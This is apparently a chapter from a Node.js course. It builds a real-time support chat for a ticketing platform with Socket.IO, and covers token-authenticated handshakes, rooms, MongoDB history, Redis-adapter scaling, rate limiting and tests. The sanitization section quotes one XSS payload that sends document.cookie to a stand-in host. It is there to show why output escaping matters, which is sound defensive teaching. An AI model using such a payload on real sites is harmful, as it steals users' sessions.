The close of Module 11 said it plainly: we stop building a single application and start building four complete ones. And it is worth clarifying up front that these are not four invented domains or four disconnected exercises: they are satellite products of Escena Viva, the ticket sales platform you have been building since Module 1. The thread does not break, it branches.

This first project is Escena Viva's live support. Lucía buys two tickets for evt-003 (Festival de Jazz de Primavera), the email with codes EV-2026-000417 and EV-2026-000418 never arrives, and instead of writing a message that will be answered in two days she opens a chat from the website. On the other side, an agent sees the conversation drop into a queue and picks it up.

The genuinely new idea here is real-time bidirectional communication. Everything so far follows one pattern: the client asks, the server answers. Here, for the first time, the server needs to speak without anyone having asked.

1. The business requirement and why HTTP is not enough
2. Design decisions: polling, long polling, SSE and WebSocket
3. What Socket.IO adds and what it costs
4. Integrating with the existing application
5. Authenticating the socket during the handshake
6. The domain event contract
7. Rooms: conversations and the agent pool
8. Persisting history and loading it by cursor
9. The technical challenge: scaling real time across several processes
10. Presence, validation and rate limiting
11. Testing and what stays out of scope

• An authenticated attendee opens a conversation from any page, and it lands in a queue visible to every connected agent.
• An agent claims it; from that moment it has exactly one assigned agent.
• Both sides see each other's messages instantly, without reloading, and see when the other is typing.
• History is preserved: if Lucía comes back tomorrow, she sees what was said.

All of that is ordinary CRUD except the third point. With the node:http server from M4 and the Express 5 application from M6, the server can only speak when it is spoken to. If the agent replies, there is nothing in the request-response model that carries that message to Lucía's browser on the server's initiative.

The reasoning behind each rejection. Polling: with 300 attendees polling every 2 s that is 150 requests per second, nearly all of them returning nothing; worse latency and more spend. Long polling works — it is in fact Socket.IO's internal fallback — but choosing it as the primary mechanism forces you to reimplement reconnection, ordering and batching by hand. SSE is the option most people dismiss too quickly, and it is excellent: if the requirement were only "the attendee sees replies live", it would win, because it is plain HTTP, it traverses proxies, it reconnects on its own with Last-Event-ID and it needs no library; but here the attendee also writes, and with SSE we would have two channels (SSE downstream, POST upstream), two authentication paths and two error paths. The asymmetry does not pay off. WebSocket wins because the domain is symmetric: both ends emit and receive with the same frequency and the same urgency.

The cost, without sugar-coating: Socket.IO is not standard WebSocket, its protocol sits on top. A client opening new WebSocket('wss://...') will understand nothing: the client must be socket.io-client. If tomorrow the requirement became "let an external system connect to our channel", that decision comes back to bite. Here both ends are our own front-end, so the cost is acceptable and the gain is enormous.

ioredis has been there since M10; the adapter reuses it.

Here a decision from six modules ago pays off. Back in M6 you insisted that src/app.js exports createApplication() and never calls listen; the listen lives in src/server.js, which creates the http.Server by hand. That separation is exactly what lets us mount Socket.IO now: it is not mounted on an Express application, it is mounted on an HTTP server.

A single port: the API on /api/v1/... and real time on /socket.io/ coexist without touching the load balancer or the docker compose file from M11. SIGINT is registered exactly like SIGTERM.

We reuse verifyAccessToken from src/services/tokens.js (M8) as is: there is no such thing as "socket authentication", there is the same verified identity checked at a different point.

Why the access token and not the refresh cookie. The cookie would travel in the handshake too if the origin matches, but leaning on it is a bad idea: it must not be used to authorize operations, only to issue new access tokens; in deployments across different domains it does not travel without relaxing SameSite; and handshake.auth is explicit, the client decides which credential it hands over. The problem you discover in production: the access token expires in 15 minutes and the socket lives for hours. The connection does not drop by itself. The healthy fix is to revalidate inside the socket with a one-minute setInterval that verifies the stored token and, if it fails, emits session:expired and disconnects. The client renews over REST with its refresh cookie and reconnects. Leaving the socket alive forever means revoking a user has no effect until they close the browser.

An event name is as serious a contract as a REST route. Nobody would casually rename POST /api/v1/orders; renaming message:send breaks things just as badly, with the aggravating factor that there is no 404: the client emits into the void and nobody notices. That is why events are documented, versioned through the namespace (/support/v1) and centralized.

Acknowledgements turn this into something reliable: the last argument of emit can be a function the receiver invokes.

The clientMessageId is the key to a safe retry: it is M10's Idempotency-Key idempotency applied to a socket. If the client retries because the acknowledgement never arrived, the server recognizes the identifier and returns the already-stored message instead of duplicating it.

A room is nothing but a label over a set of sockets. We use three families:

History lives in MongoDB (M7), behind the repository pattern and without leaking Mongoose outside src/repositories/.

Opening a conversation loads the last 30 messages; as the user scrolls up, the client emits history:load with nextCursor. It is M10's pagination applied backwards in time.

In M10 you started up with cluster, and in M11 with PM2 and several Docker replicas. With a stateless REST API that changes nothing. With sockets it matters a great deal, and in the worst possible way: Lucía connects and the load balancer sends her to process A, where her socket lives; Marc, the agent, lands on process B and replies, so B runs io.to('conversation:42').emit(...); but B only knows about its own sockets, and in its table that room contains only Marc. The message is stored in MongoDB and Lucía sees nothing until she reloads. It is the most baffling class of bug there is: "works locally, works sometimes in production".

The cause is that the registry of sockets and rooms is process-local memory. The fix is the Redis adapter: every emission is published on a shared bus and each process delivers to its own sockets.

With this, io.to(...) behaves the same with one process as with twelve. Two warnings: the adapter does not persist anything (if Lucía is offline she receives nothing, which is why MongoDB is the source of truth and the socket only the fast channel), and with the long polling fallback enabled you need sticky sessions, because every request from the same client must land on the same process. If you pin transports: ['websocket'], you do not.

Presence. "Online" looks like a boolean and is not: a laptop lid closing sends no notice (the server finds out when the heartbeat fails, up to 20 s later) and closing one tab out of three does not mean leaving. The rule: a per-user socket counter in Redis.

Validation. req.validatedData is Express middleware and socket events never go through Express: you have to validate inside every handler with the same zod schemas from M6.

Sanitization. XSS gets in through the chat: if an attendee types <img src=x onerror="fetch('//evil.test?c='+document.cookie)"> and the agent's panel renders it with innerHTML, the attacker runs code inside an organizer's session. The M8 rule still holds: escape on output. The server stores the text as is and the client uses textContent. If the product demands bold text and links, sanitize on the server with an allowlist, as the magazine does in 12-03. And rate limiting: express-rate-limit does not apply here either, so a counter on the socket itself is enough — keep the timestamps of the last 10 seconds and reject if there are already 10.

Here you need a real server listening, because the protocol needs a port. The pattern: bind to port 0, connect real clients and shut everything down in afterEach.

Do not test that Socket.IO delivers messages: they test that themselves. Test your logic: rejection without a token, room isolation, clientMessageId idempotency and the fact that nobody can emit into a conversation they are not part of.

• Emitting from a REST controller with no access to io. Do not import it as a global singleton: inject it as a dependency (createOrderController({ repository, notifier })), exactly as in M6. It is testable with Sinon and it does not couple layers.
• Postponing the Redis adapter until production. Locally, with one process, everything works. Add it on day one.
• Trusting the userId the client sends. The identity lives in socket.userData, put there by the verified handshake.
• Not setting maxHttpBufferSize (a 5 MB message would flatten memory) and recreating Redis connections per socket: two for the whole process, created once.
• Tip: log every event with pino (M11) including userId and conversationId. A real-time channel with no logs is impossible to debug.

1. Agent queue with claiming. Implement conversation:claim: only one agent may claim a queued conversation; if two try at the same time, the second one receives { error: { code: 'STATE_CONFLICT', status: 409 } }. Emit to the agents room so it disappears from everyone else's queue.

2. Typing indicator with expiry. Implement agent:typing so the indicator switches itself off if no events arrive for 3 seconds, without emitting one per keystroke.

3. Idempotent retry test. Send the same clientMessageId twice and verify that history contains a single message and that the second acknowledgement returns the same messageId.

1. Agent queue with claiming

The repository uses findOneAndUpdate({ _id, status: 'queued' }, { $set: { status: 'assigned', agentId } }, { new: true }): if another agent got there first, the filter does not match and it returns null. No transactions and no race conditions.

2. Typing indicator with expiry

On the sending side, input does not emit on every keystroke: it stores the timestamp of the last emission and only emits again after 2 seconds have passed. Traffic stays constant no matter how fast someone types.

3. Idempotent retry test

In the repository, saveMessage catches the duplicate key error (error.code === 11000) raised by the unique index from section 8 and returns the existing document. Idempotency rests on the database, not on memory: that way it works with several processes too.

You have built Escena Viva's live support and, with it, the one thing missing from your mental model of a server: that it can speak first. You chose WebSocket over SSE because the domain is symmetric, you accepted the cost of Socket.IO in exchange for reconnection, rooms and acknowledgements, and you mounted the channel on the very same http.Server you already had, thanks to an M6 decision that only today revealed its purpose.

The challenge was never opening a socket: it was discovering that real time and horizontal scaling are natural enemies, understanding why the message vanishes between processes and solving it with the Redis adapter. That pattern — local state that stops being valid the moment there is more than one process — will show up every single time you scale something.

In the next lesson we build Escena Viva's merchandise store, where the element that rewrites every engineering rule appears: real money, with a payment gateway, signed webhooks and a state machine that tolerates no mistakes.